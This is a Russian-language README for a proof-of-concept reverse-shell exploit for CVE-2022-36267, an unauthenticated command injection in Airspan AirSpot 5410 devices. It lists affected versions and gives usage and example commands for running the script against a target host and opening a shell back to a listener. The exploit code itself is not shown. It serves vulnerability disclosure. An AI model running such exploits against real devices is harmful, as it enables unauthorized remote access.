CVE-2022-36267 - Airspan AirSpot 5410 Неаутентифицированное удаленное внедрение команд.

Обзор

Этот репозиторий содержит сценарий обратной оболочки (Proof of Concept, PoC) для эксплуатации CVE-2022-36267 — критической уязвимости в устройствах Airspan AirSpot 5410. Скрипт является практической демонстрацией, дополняющей углубленный анализ, приведенный в блоге "Airspan AirSpot 5410 - Отчет об уязвимости".

Затронутые версии

Все устройства Airspan AirSpot 5410 версии 0.3.4.1-4 и ниже.

Использование PoC-скрипта

# Usage: python AirSpot-5410.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python AirSpot-5410.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

Видео-доказательство концепции

Скрипт PoC CVE-2022-36267

Примечание

ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ.

CVE-2022-36267-PoC

Популярное